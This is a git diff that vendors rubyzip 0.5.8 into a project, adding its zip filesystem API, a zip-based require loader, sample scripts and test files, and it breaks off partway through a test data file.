+        len = binstr[i+2,2].to_s.unpack("v")[0] 
+        if id && ID_MAP.member?(id)
+          field_name = ID_MAP[id].name
+          if self.member?(field_name)
+            self[field_name].mergea(binstr[i, len+4])
+          else
+            field_obj = ID_MAP[id].new(binstr[i, len+4])
+            self[field_name] = field_obj
+          end
+        elsif id
+          unless self["Unknown"]
+            s = ""
+            class << s
+              alias_method :to_c_dir_bin, :to_s
+              alias_method :to_local_bin, :to_s
+            end
+            self["Unknown"] = s
+          end
+          if ! len || len+4 > binstr[i..-1].length
+            self["Unknown"] << binstr[i..-1]
+            break;
+          end
+          self["Unknown"] << binstr[i, len+4]
+        end
+        i += len+4
+      end
+    end
+
+    def create(name)
+      field_class = nil
+      ID_MAP.each { |id, klass|
+        if klass.name == name
+          field_class = klass
+          break
+        end
+      }
+      if ! field_class
+	raise ZipError, "Unknown extra field '#{name}'"
+      end
+      self[name] = field_class.new()
+    end
+
+    def to_local_bin
+      s = ""
+      each { |k, v|
+        s << v.to_local_bin
+      }
+      s
+    end
+    alias :to_s :to_local_bin
+
+    def to_c_dir_bin
+      s = ""
+      each { |k, v|
+        s << v.to_c_dir_bin
+      }
+      s
+    end
+
+    def c_dir_length
+      to_c_dir_bin.length
+    end
+    def local_length
+      to_local_bin.length
+    end
+    alias :c_dir_size :c_dir_length
+    alias :local_size :local_length
+    alias :length     :local_length
+    alias :size       :local_length
+  end # end ZipExtraField
+
+end # Zip namespace module
+
+
+
+# Copyright (C) 2002, 2003 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/lib/zip/zipfilesystem.rb b/vendor/rubyzip-0.5.8/lib/zip/zipfilesystem.rb
new file mode 100644
index 00000000..75645b43
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/lib/zip/zipfilesystem.rb
@@ -0,0 +1,609 @@
+require 'zip/zip'
+
+module Zip
+
+  # The ZipFileSystem API provides an API for accessing entries in 
+  # a zip archive that is similar to ruby's builtin File and Dir 
+  # classes.
+  #
+  # Requiring 'zip/zipfilesystem' includes this module in ZipFile
+  # making the methods in this module available on ZipFile objects.
+  #
+  # Using this API the following example creates a new zip file 
+  # <code>my.zip</code> containing a normal entry with the name
+  # <code>first.txt</code>, a directory entry named <code>mydir</code>
+  # and finally another normal entry named <code>second.txt</code>
+  #
+  #   require 'zip/zipfilesystem'
+  #   
+  #   Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) {
+  #     |zipfile|
+  #     zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" }
+  #     zipfile.dir.mkdir("mydir")
+  #     zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" }
+  #   }
+  #
+  # Reading is as easy as writing, as the following example shows. The 
+  # example writes the contents of <code>first.txt</code> from zip archive
+  # <code>my.zip</code> to standard out.
+  #
+  #   require 'zip/zipfilesystem'
+  #   
+  #   Zip::ZipFile.open("my.zip") {
+  #     |zipfile|
+  #     puts zipfile.file.read("first.txt")
+  #   }
+
+  module ZipFileSystem
+
+    def initialize # :nodoc:
+      mappedZip = ZipFileNameMapper.new(self)
+      @zipFsDir  = ZipFsDir.new(mappedZip)
+      @zipFsFile = ZipFsFile.new(mappedZip)
+      @zipFsDir.file = @zipFsFile
+      @zipFsFile.dir = @zipFsDir
+    end
+
+    # Returns a ZipFsDir which is much like ruby's builtin Dir (class)
+    # object, except it works on the ZipFile on which this method is
+    # invoked
+    def dir
+      @zipFsDir
+    end
+    
+    # Returns a ZipFsFile which is much like ruby's builtin File (class)
+    # object, except it works on the ZipFile on which this method is
+    # invoked
+    def file
+      @zipFsFile
+    end
+
+    # Instances of this class are normally accessed via the accessor
+    # ZipFile::file. An instance of ZipFsFile behaves like ruby's
+    # builtin File (class) object, except it works on ZipFile entries.
+    #
+    # The individual methods are not documented due to their
+    # similarity with the methods in File
+    class ZipFsFile
+
+      attr_writer :dir
+#      protected :dir
+
+      class ZipFsStat
+        def initialize(zipFsFile, entryName)
+          @zipFsFile = zipFsFile
+          @entryName = entryName
+        end
+        
+        def forward_invoke(msg)
+          @zipFsFile.send(msg, @entryName)
+        end
+
+        def kind_of?(t)
+          super || t == ::File::Stat 
+        end
+        
+        forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev?
+        forward_message :forward_invoke, :symlink?, :socket?, :blockdev?
+        forward_message :forward_invoke, :readable?, :readable_real?
+        forward_message :forward_invoke, :writable?, :writable_real?
+        forward_message :forward_invoke, :executable?, :executable_real?
+        forward_message :forward_invoke, :sticky?, :owned?, :grpowned?
+        forward_message :forward_invoke, :setuid?, :setgid?
+        forward_message :forward_invoke, :zero?
+        forward_message :forward_invoke, :size, :size?
+        forward_message :forward_invoke, :mtime, :atime, :ctime
+        
+        def blocks; nil; end
+
+        def get_entry
+          @zipFsFile.__send__(:get_entry, @entryName)
+        end
+        private :get_entry
+
+        def gid
+          e = get_entry
+          if e.extra.member? "IUnix"
+            e.extra["IUnix"].gid || 0
+          else
+            0
+          end
+        end
+
+        def uid
+          e = get_entry
+          if e.extra.member? "IUnix"
+            e.extra["IUnix"].uid || 0
+          else
+            0
+          end
+        end
+
+        def ino; 0; end
+
+        def dev; 0; end
+
+        def rdev; 0; end
+
+        def rdev_major; 0; end
+
+        def rdev_minor; 0; end
+
+        def ftype
+          if file?
+            return "file"
+          elsif directory?
+            return "directory"
+          else
+            raise StandardError, "Unknown file type"
+          end
+        end
+
+        def nlink; 1; end
+        
+        def blksize; nil; end
+
+        def mode
+          e = get_entry
+          if e.fstype == 3
+            e.externalFileAttributes >> 16
+          else
+            33206 # 33206 is equivalent to -rw-rw-rw-
+          end
+        end
+      end
+
+      def initialize(mappedZip)
+	@mappedZip = mappedZip
+      end
+
+      def get_entry(fileName)
+        if ! exists?(fileName)
+          raise Errno::ENOENT, "No such file or directory - #{fileName}"
+        end
+        @mappedZip.find_entry(fileName)
+      end
+      private :get_entry
+
+      def unix_mode_cmp(fileName, mode)
+        begin
+          e = get_entry(fileName)
+          e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0
+        rescue Errno::ENOENT
+          false
+        end
+      end
+      private :unix_mode_cmp
+      
+      def exists?(fileName)
+        expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil
+      end
+      alias :exist? :exists?
+      
+      # Permissions not implemented, so if the file exists it is accessible
+      alias owned?           exists?
+      alias grpowned?        exists?
+
+      def readable?(fileName)
+        unix_mode_cmp(fileName, 0444)
+      end
+      alias readable_real?   readable?
+
+      def writable?(fileName)
+        unix_mode_cmp(fileName, 0222)
+      end
+      alias writable_real?   writable?
+
+      def executable?(fileName)
+        unix_mode_cmp(fileName, 0111)
+      end
+      alias executable_real? executable?
+
+      def setuid?(fileName)
+        unix_mode_cmp(fileName, 04000)
+      end
+
+      def setgid?(fileName)
+        unix_mode_cmp(fileName, 02000)
+      end
+      
+      def sticky?(fileName)
+        unix_mode_cmp(fileName, 01000)
+      end
+
+      def umask(*args)
+        ::File.umask(*args)
+      end
+
+      def truncate(fileName, len)
+        raise StandardError, "truncate not supported"
+      end
+
+      def directory?(fileName)
+	entry = @mappedZip.find_entry(fileName)
+	expand_path(fileName) == "/" || (entry != nil && entry.directory?)
+      end
+      
+      def open(fileName, openMode = "r", &block)
+        case openMode
+        when "r" 
+          @mappedZip.get_input_stream(fileName, &block)
+        when "w"
+          @mappedZip.get_output_stream(fileName, &block)
+        else
+          raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r"
+        end
+      end
+
+      def new(fileName, openMode = "r")
+	open(fileName, openMode)
+      end
+      
+      def size(fileName)
+	@mappedZip.get_entry(fileName).size
+      end
+      
+      # Returns nil for not found and nil for directories
+      def size?(fileName)
+	entry = @mappedZip.find_entry(fileName)
+	return (entry == nil || entry.directory?) ? nil : entry.size
+      end
+      
+      def chown(ownerInt, groupInt, *filenames)
+        filenames.each { |fileName|
+          e = get_entry(fileName)
+          unless e.extra.member?("IUnix")
+            e.extra.create("IUnix")
+          end
+          e.extra["IUnix"].uid = ownerInt
+          e.extra["IUnix"].gid = groupInt
+        }
+        filenames.size
+      end
+
+      def chmod (modeInt, *filenames)
+        filenames.each { |fileName|
+          e = get_entry(fileName)
+          e.fstype = 3 # force convertion filesystem type to unix
+          e.externalFileAttributes = modeInt << 16
+        }
+        filenames.size
+      end
+
+      def zero?(fileName)
+	sz = size(fileName)
+	sz == nil || sz == 0
+      rescue Errno::ENOENT
+	false
+      end
+      
+      def file?(fileName)
+	entry = @mappedZip.find_entry(fileName)
+	entry != nil && entry.file?
+      end      
+      
+      def dirname(fileName)
+	::File.dirname(fileName)
+      end
+      
+      def basename(fileName)
+	::File.basename(fileName)
+      end
+      
+      def split(fileName)
+	::File.split(fileName)
+      end
+      
+      def join(*fragments)
+	::File.join(*fragments)
+      end
+      
+      def utime(modifiedTime, *fileNames)
+        fileNames.each { |fileName|
+          get_entry(fileName).time = modifiedTime
+        }
+      end
+
+      def mtime(fileName)
+	@mappedZip.get_entry(fileName).mtime
+      end
+      
+      def atime(fileName)
+        e = get_entry(fileName)
+        if e.extra.member? "UniversalTime"
+          e.extra["UniversalTime"].atime
+        else
+          nil
+        end
+      end
+      
+      def ctime(fileName)
+        e = get_entry(fileName)
+        if e.extra.member? "UniversalTime"
+          e.extra["UniversalTime"].ctime
+        else
+          nil
+        end
+      end
+
+      def pipe?(filename)
+	false
+      end
+      
+      def blockdev?(filename)
+	false
+      end
+      
+      def chardev?(filename)
+	false
+      end
+      
+      def symlink?(fileName)
+	false
+      end
+      
+      def socket?(fileName)
+	false
+      end
+      
+      def ftype(fileName)
+	@mappedZip.get_entry(fileName).directory? ? "directory" : "file"
+      end
+      
+      def readlink(fileName)
+	raise NotImplementedError, "The readlink() function is not implemented"
+      end
+      
+      def symlink(fileName, symlinkName)
+	raise NotImplementedError, "The symlink() function is not implemented"
+      end
+
+      def link(fileName, symlinkName)
+	raise NotImplementedError, "The link() function is not implemented"
+      end
+
+      def pipe
+	raise NotImplementedError, "The pipe() function is not implemented"
+      end
+
+      def stat(fileName)
+        if ! exists?(fileName)
+          raise Errno::ENOENT, fileName
+        end
+        ZipFsStat.new(self, fileName)
+      end
+
+      alias lstat stat
+
+      def readlines(fileName)
+	open(fileName) { |is| is.readlines }
+      end
+
+      def read(fileName)
+        @mappedZip.read(fileName)
+      end
+
+      def popen(*args, &aProc)
+	File.popen(*args, &aProc)
+      end
+
+      def foreach(fileName, aSep = $/, &aProc)
+	open(fileName) { |is| is.each_line(aSep, &aProc) }
+      end
+
+      def delete(*args)
+	args.each { 
+	  |fileName|
+	  if directory?(fileName)
+	    raise Errno::EISDIR, "Is a directory - \"#{fileName}\""
+	  end
+	  @mappedZip.remove(fileName) 
+	}
+      end
+
+      def rename(fileToRename, newName)
+        @mappedZip.rename(fileToRename, newName) { true }
+      end
+
+      alias :unlink :delete
+
+      def expand_path(aPath)
+        @mappedZip.expand_path(aPath)
+      end
+    end
+
+    # Instances of this class are normally accessed via the accessor
+    # ZipFile::dir. An instance of ZipFsDir behaves like ruby's
+    # builtin Dir (class) object, except it works on ZipFile entries.
+    #
+    # The individual methods are not documented due to their
+    # similarity with the methods in Dir
+    class ZipFsDir
+      
+      def initialize(mappedZip)
+        @mappedZip = mappedZip
+      end
+      
+      attr_writer :file
+
+      def new(aDirectoryName)
+        ZipFsDirIterator.new(entries(aDirectoryName))
+      end
+
+      def open(aDirectoryName)
+        dirIt = new(aDirectoryName)
+        if block_given?
+          begin
+            yield(dirIt)
+            return nil
+          ensure
+            dirIt.close
+          end
+        end
+        dirIt
+      end
+
+      def pwd; @mappedZip.pwd; end
+      alias getwd pwd
+      
+      def chdir(aDirectoryName)
+        unless @file.stat(aDirectoryName).directory?
+          raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}"
+        end
+        @mappedZip.pwd = @file.expand_path(aDirectoryName)
+      end
+      
+      def entries(aDirectoryName)
+        entries = []
+        foreach(aDirectoryName) { |e| entries << e }
+        entries
+      end
+
+      def foreach(aDirectoryName)
+        unless @file.stat(aDirectoryName).directory?
+          raise Errno::ENOTDIR, aDirectoryName
+        end
+        path = @file.expand_path(aDirectoryName).ensure_end("/")
+
+        subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$")
+        @mappedZip.each { 
+          |fileName|
+          match = subDirEntriesRegex.match(fileName)
+          yield(match[1]) unless match == nil
+        }
+      end
+
+      def delete(entryName)
+        unless @file.stat(entryName).directory?
+          raise Errno::EINVAL, "Invalid argument - #{entryName}"
+        end
+        @mappedZip.remove(entryName)
+      end
+      alias rmdir  delete
+      alias unlink delete
+      
+      def mkdir(entryName, permissionInt = 0)
+        @mappedZip.mkdir(entryName, permissionInt)
+      end
+      
+      def chroot(*args)
+      	raise NotImplementedError, "The chroot() function is not implemented"
+      end
+
+    end
+
+    class ZipFsDirIterator # :nodoc:all
+      include Enumerable
+
+      def initialize(arrayOfFileNames)
+        @fileNames = arrayOfFileNames
+        @index = 0
+      end
+
+      def close
+        @fileNames = nil
+      end
+
+      def each(&aProc)
+        raise IOError, "closed directory" if @fileNames == nil
+        @fileNames.each(&aProc)
+      end
+
+      def read
+        raise IOError, "closed directory" if @fileNames == nil
+        @fileNames[(@index+=1)-1]
+      end
+
+      def rewind
+        raise IOError, "closed directory" if @fileNames == nil
+        @index = 0
+      end
+
+      def seek(anIntegerPosition)
+        raise IOError, "closed directory" if @fileNames == nil
+        @index = anIntegerPosition
+      end
+
+      def tell
+        raise IOError, "closed directory" if @fileNames == nil
+        @index
+      end
+    end
+
+    # All access to ZipFile from ZipFsFile and ZipFsDir goes through a
+    # ZipFileNameMapper, which has one responsibility: ensure
+    class ZipFileNameMapper # :nodoc:all
+      include Enumerable
+
+      def initialize(zipFile)
+        @zipFile = zipFile
+        @pwd = "/"
+      end
+      
+      attr_accessor :pwd
+      
+      def find_entry(fileName)
+        @zipFile.find_entry(expand_to_entry(fileName))
+      end
+      
+      def get_entry(fileName)
+        @zipFile.get_entry(expand_to_entry(fileName))
+      end
+
+      def get_input_stream(fileName, &aProc)
+        @zipFile.get_input_stream(expand_to_entry(fileName), &aProc)
+      end
+      
+      def get_output_stream(fileName, &aProc)
+        @zipFile.get_output_stream(expand_to_entry(fileName), &aProc)
+      end
+
+      def read(fileName)
+        @zipFile.read(expand_to_entry(fileName))
+      end
+      
+      def remove(fileName)
+        @zipFile.remove(expand_to_entry(fileName))
+      end
+
+      def rename(fileName, newName, &continueOnExistsProc)
+        @zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName), 
+                        &continueOnExistsProc)
+      end
+
+      def mkdir(fileName, permissionInt = 0)
+        @zipFile.mkdir(expand_to_entry(fileName), permissionInt)
+      end
+
+      # Turns entries into strings and adds leading /
+      # and removes trailing slash on directories
+      def each
+        @zipFile.each {
+          |e|
+          yield("/"+e.to_s.chomp("/"))
+        }
+      end
+      
+      def expand_path(aPath)
+        expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath
+        expanded.gsub!(/\/\.(\/|$)/, "")
+        expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "")
+        expanded.empty? ? "/" : expanded
+      end
+
+      private
+
+      def expand_to_entry(aPath)
+        expand_path(aPath).lchop
+      end
+    end
+  end
+
+  class ZipFile
+    include ZipFileSystem
+  end
+end
+
+# Copyright (C) 2002, 2003 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/lib/zip/ziprequire.rb b/vendor/rubyzip-0.5.8/lib/zip/ziprequire.rb
new file mode 100644
index 00000000..5a4c4d48
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/lib/zip/ziprequire.rb
@@ -0,0 +1,90 @@
+# With ziprequire you can load ruby modules from a zip file. This means
+# ruby's module include path can include zip-files.
+#
+# The following example creates a zip file with a single entry 
+# <code>log/simplelog.rb</code> that contains a single function 
+# <code>simpleLog</code>: 
+#
+#   require 'zip/zipfilesystem'
+#   
+#   Zip::ZipFile.open("my.zip", true) {
+#     |zf| 
+#     zf.file.open("log/simplelog.rb", "w") { 
+#       |f|
+#       f.puts "def simpleLog(v)"
+#       f.puts '  Kernel.puts "INFO: #{v}"'
+#       f.puts "end"
+#     }
+#   }
+#
+# To use the ruby module stored in the zip archive simply require
+# <code>zip/ziprequire</code> and include the <code>my.zip</code> zip 
+# file in the module search path. The following command shows one 
+# way to do this:
+#
+#   ruby -rzip/ziprequire -Imy.zip  -e " require 'log/simplelog'; simpleLog 'Hello world' "
+
+#$: << 'data/rubycode.zip' << 'data/rubycode2.zip'
+
+
+require 'zip/zip'
+
+class ZipList #:nodoc:all
+  def initialize(zipFileList)
+      @zipFileList = zipFileList
+  end
+
+  def get_input_stream(entry, &aProc)
+    @zipFileList.each {
+      |zfName|
+      Zip::ZipFile.open(zfName) {
+	|zf|
+	begin
+	  return zf.get_input_stream(entry, &aProc) 
+	rescue Errno::ENOENT
+	end
+      }
+    }
+    raise Errno::ENOENT,
+      "No matching entry found in zip files '#{@zipFileList.join(', ')}' "+
+      " for '#{entry}'"
+  end
+end
+
+
+module Kernel #:nodoc:all
+  alias :oldRequire :require
+
+  def require(moduleName)
+    zip_require(moduleName) || oldRequire(moduleName)
+  end
+
+  def zip_require(moduleName)
+    return false if already_loaded?(moduleName)
+    get_resource(ensure_rb_extension(moduleName)) { 
+      |zis| 
+      eval(zis.read); $" << moduleName 
+    }
+    return true
+  rescue Errno::ENOENT => ex
+    return false
+  end
+
+  def get_resource(resourceName, &aProc)
+    zl = ZipList.new($:.grep(/\.zip$/))
+    zl.get_input_stream(resourceName, &aProc)
+  end
+
+  def already_loaded?(moduleName)
+    moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$")
+    $".detect { |e| e =~ moduleRE } != nil
+  end
+
+  def ensure_rb_extension(aString)
+    aString.sub(/(\.rb)?$/i, ".rb")
+  end
+end
+
+# Copyright (C) 2002 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/samples/example.rb b/vendor/rubyzip-0.5.8/samples/example.rb
new file mode 100644
index 00000000..741afa76
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/samples/example.rb
@@ -0,0 +1,69 @@
+#!/usr/bin/env ruby
+
+$: << "../lib"
+system("zip example.zip example.rb gtkRubyzip.rb")
+
+require 'zip/zip'
+
+####### Using ZipInputStream alone: #######
+
+Zip::ZipInputStream.open("example.zip") {
+  |zis|
+  entry = zis.get_next_entry
+  print "First line of '#{entry.name} (#{entry.size} bytes):  "
+  puts "'#{zis.gets.chomp}'"
+  entry = zis.get_next_entry
+  print "First line of '#{entry.name} (#{entry.size} bytes):  "
+  puts "'#{zis.gets.chomp}'"
+}
+
+
+####### Using ZipFile to read the directory of a zip file: #######
+
+zf = Zip::ZipFile.new("example.zip")
+zf.each_with_index {
+  |entry, index|
+  
+  puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}"
+  # use zf.get_input_stream(entry) to get a ZipInputStream for the entry
+  # entry can be the ZipEntry object or any object which has a to_s method that
+  # returns the name of the entry.
+}
+
+
+####### Using ZipOutputStream to write a zip file: #######
+
+Zip::ZipOutputStream.open("exampleout.zip") {
+  |zos|
+  zos.put_next_entry("the first little entry")
+  zos.puts "Hello hello hello hello hello hello hello hello hello"
+
+  zos.put_next_entry("the second little entry")
+  zos.puts "Hello again"
+
+  # Use rubyzip or your zip client of choice to verify
+  # the contents of exampleout.zip
+}
+
+####### Using ZipFile to change a zip file: #######
+
+Zip::ZipFile.open("exampleout.zip") {
+  |zf|
+  zf.add("thisFile.rb", "example.rb")
+  zf.rename("thisFile.rb", "ILikeThisName.rb")
+  zf.add("Again", "example.rb")
+}
+
+# Lets check
+Zip::ZipFile.open("exampleout.zip") {
+  |zf|
+  puts "Changed zip file contains: #{zf.entries.join(', ')}"
+  zf.remove("Again")
+  puts "Without 'Again': #{zf.entries.join(', ')}"
+}
+
+# For other examples, look at zip.rb and ziptest.rb
+
+# Copyright (C) 2002 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/samples/example_filesystem.rb b/vendor/rubyzip-0.5.8/samples/example_filesystem.rb
new file mode 100644
index 00000000..867e8d4f
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/samples/example_filesystem.rb
@@ -0,0 +1,34 @@
+#!/usr/bin/env ruby
+
+$: << "../lib"
+
+require 'zip/zipfilesystem'
+require 'ftools'
+
+EXAMPLE_ZIP = "filesystem.zip"
+
+File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP)
+
+Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) {
+  |zf|
+  zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" }
+  zf.dir.mkdir("dir1")
+  zf.dir.chdir("dir1")
+  zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" }
+  puts zf.file.read("file1.txt")
+  puts zf.file.read("../file1.txt")
+  zf.dir.chdir("..")
+  zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" }
+  puts "Entries:                   #{zf.entries.join(', ')}"
+}
+
+Zip::ZipFile.open(EXAMPLE_ZIP) {
+  |zf|
+  puts "Entries from reloaded zip: #{zf.entries.join(', ')}"
+}
+
+# For other examples, look at zip.rb and ziptest.rb
+
+# Copyright (C) 2003 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb b/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb
new file mode 100644
index 00000000..5d91829d
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb
@@ -0,0 +1,86 @@
+#!/usr/bin/env ruby
+
+$: << "../lib"
+
+$VERBOSE = true
+
+require 'gtk'
+require 'zip/zip'
+
+class MainApp < Gtk::Window
+  def initialize
+    super()
+    set_usize(400, 256)
+    set_title("rubyzip")
+    signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit }
+
+    box = Gtk::VBox.new(false, 0)
+    add(box)
+
+    @zipfile = nil
+    @buttonPanel = ButtonPanel.new
+    @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
+      show_file_selector
+    }
+    @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
+      puts "Not implemented!"
+    }
+    box.pack_start(@buttonPanel, false, false, 0)
+    
+    sw = Gtk::ScrolledWindow.new
+    sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC)
+    box.pack_start(sw, true, true, 0)
+
+    @clist = Gtk::CList.new(["Name", "Size", "Compression"])
+    @clist.set_selection_mode(Gtk::SELECTION_BROWSE)
+    @clist.set_column_width(0, 120)
+    @clist.set_column_width(1, 120)
+    @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) {
+      |w, row, column, event|
+      @selected_row = row
+    }
+    sw.add(@clist)
+  end
+
+  class ButtonPanel < Gtk::HButtonBox
+    attr_reader :openButton, :extractButton
+    def initialize
+      super
+      set_layout(Gtk::BUTTONBOX_START)
+      set_spacing(0)
+      @openButton = Gtk::Button.new("Open archive")
+      @extractButton = Gtk::Button.new("Extract entry")
+      pack_start(@openButton)
+      pack_start(@extractButton)
+    end
+  end
+
+  def show_file_selector
+    @fileSelector = Gtk::FileSelection.new("Open zip file")
+    @fileSelector.show
+    @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
+      open_zip(@fileSelector.filename)
+      @fileSelector.destroy
+    }
+    @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
+      @fileSelector.destroy
+    }
+  end
+
+  def open_zip(filename)
+    @zipfile = Zip::ZipFile.open(filename)
+    @clist.clear
+    @zipfile.each { 
+      |entry|
+      @clist.append([ entry.name, 
+		      entry.size.to_s, 
+		      (100.0*entry.compressedSize/entry.size).to_s+"%" ])
+    }
+  end
+end
+
+mainApp = MainApp.new()
+
+mainApp.show_all
+
+Gtk.main
diff --git a/vendor/rubyzip-0.5.8/samples/write_simple.rb b/vendor/rubyzip-0.5.8/samples/write_simple.rb
new file mode 100644
index 00000000..648989a2
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/samples/write_simple.rb
@@ -0,0 +1,13 @@
+#!/usr/bin/env ruby
+
+$: << "../lib"
+
+require 'zip/zip'
+
+include Zip
+
+ZipOutputStream.open('simple.zip') {
+  |zos|
+  ze = zos.put_next_entry 'entry.txt'
+  zos.puts "Hello world"
+}
diff --git a/vendor/rubyzip-0.5.8/samples/zipfind.rb b/vendor/rubyzip-0.5.8/samples/zipfind.rb
new file mode 100644
index 00000000..54ad936e
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/samples/zipfind.rb
@@ -0,0 +1,74 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+$: << "../lib"
+
+require 'zip/zip'
+require 'find'
+
+module Zip
+  module ZipFind
+    def self.find(path, zipFilePattern = /\.zip$/i)
+      Find.find(path) {
+	|fileName|
+	yield(fileName)
+	if zipFilePattern.match(fileName)  && File.file?(fileName)
+	  begin
+	    Zip::ZipFile.foreach(fileName)  {
+	      |zipEntry|
+	      yield(fileName + File::SEPARATOR + zipEntry.to_s)
+	    }
+	  rescue Errno::EACCES => ex
+	    puts ex
+	  end
+	end
+      }
+    end
+
+    def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i)
+      self.find(path, zipFilePattern) {
+	|fileName|
+	yield(fileName) if fileNamePattern.match(fileName)
+      }
+    end
+
+  end
+end
+
+if __FILE__ == $0
+  module ZipFindConsoleRunner
+    
+    PATH_ARG_INDEX = 0;
+    FILENAME_PATTERN_ARG_INDEX = 1;
+    ZIPFILE_PATTERN_ARG_INDEX = 2;
+    
+    def self.run(args)
+      check_args(args)
+      Zip::ZipFind.find_file(args[PATH_ARG_INDEX], 
+			    args[FILENAME_PATTERN_ARG_INDEX],
+			    args[ZIPFILE_PATTERN_ARG_INDEX]) {
+	|fileName|
+	report_entry_found fileName
+      }
+    end
+    
+    def self.check_args(args)
+      if (args.size != 3)
+	usage
+	exit
+      end
+    end
+
+    def self.usage
+      puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN"
+    end
+    
+    def self.report_entry_found(fileName)
+      puts fileName
+    end
+    
+  end
+
+  ZipFindConsoleRunner.run(ARGV)
+end
diff --git a/vendor/rubyzip-0.5.8/test/alltests.rb b/vendor/rubyzip-0.5.8/test/alltests.rb
new file mode 100644
index 00000000..691349af
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/alltests.rb
@@ -0,0 +1,9 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+require 'stdrubyexttest'
+require 'ioextrastest'
+require 'ziptest'
+require 'zipfilesystemtest'
+require 'ziprequiretest'
diff --git a/vendor/rubyzip-0.5.8/test/data/file1.txt b/vendor/rubyzip-0.5.8/test/data/file1.txt
new file mode 100644
index 00000000..23ea2f73
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/data/file1.txt
@@ -0,0 +1,46 @@
+
+AUTOMAKE_OPTIONS = gnu
+
+EXTRA_DIST = test.zip
+
+CXXFLAGS= -g
+
+noinst_LIBRARIES = libzipios.a
+
+bin_PROGRAMS = test_zip test_izipfilt test_izipstream
+# test_flist 
+
+libzipios_a_SOURCES = backbuffer.h    fcol.cpp           fcol.h           \
+                      fcol_common.h   fcolexceptions.cpp fcolexceptions.h \
+                      fileentry.cpp   fileentry.h        flist.cpp        \
+                      flist.h         flistentry.cpp     flistentry.h     \
+                      flistscanner.h  ifiltstreambuf.cpp ifiltstreambuf.h \
+                      inflatefilt.cpp inflatefilt.h      izipfilt.cpp     \
+                      izipfilt.h      izipstream.cpp     izipstream.h     \
+                      zipfile.cpp     zipfile.h          ziphead.cpp      \
+                      ziphead.h       flistscanner.ll
+
+# test_flist_SOURCES = test_flist.cpp
+
+test_izipfilt_SOURCES = test_izipfilt.cpp
+
+test_izipstream_SOURCES = test_izipstream.cpp
+
+test_zip_SOURCES = test_zip.cpp
+
+# Notice that libzipios.a is not specified as -L. -lzipios
+# If it was, automake would not include it as a dependency.
+
+# test_flist_LDADD = libzipios.a
+
+test_izipfilt_LDADD = libzipios.a -lz
+
+test_zip_LDADD = libzipios.a -lz
+
+test_izipstream_LDADD = libzipios.a -lz
+
+
+
+flistscanner.cc : flistscanner.ll
+	$(LEX) -+ -PFListScanner -o$@ $^
+
diff --git a/vendor/rubyzip-0.5.8/test/data/file1.txt.deflatedData b/vendor/rubyzip-0.5.8/test/data/file1.txt.deflatedData
new file mode 100644
index 00000000..bfbb4f42
Binary files /dev/null and b/vendor/rubyzip-0.5.8/test/data/file1.txt.deflatedData differ
diff --git a/vendor/rubyzip-0.5.8/test/data/file2.txt b/vendor/rubyzip-0.5.8/test/data/file2.txt
new file mode 100644
index 00000000..cc9ef6ad
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/data/file2.txt
@@ -0,0 +1,1504 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+require 'rubyunit'
+require 'zip'
+
+include Zip
+
+Dir.chdir "test"
+
+class AbstractInputStreamTest < RUNIT::TestCase
+  # AbstractInputStream subclass that provides a read method
+  
+  TEST_LINES = [ "Hello world#{$/}", 
+    "this is the second line#{$/}", 
+    "this is the last line"]
+  TEST_STRING = TEST_LINES.join
+  class TestAbstractInputStream 
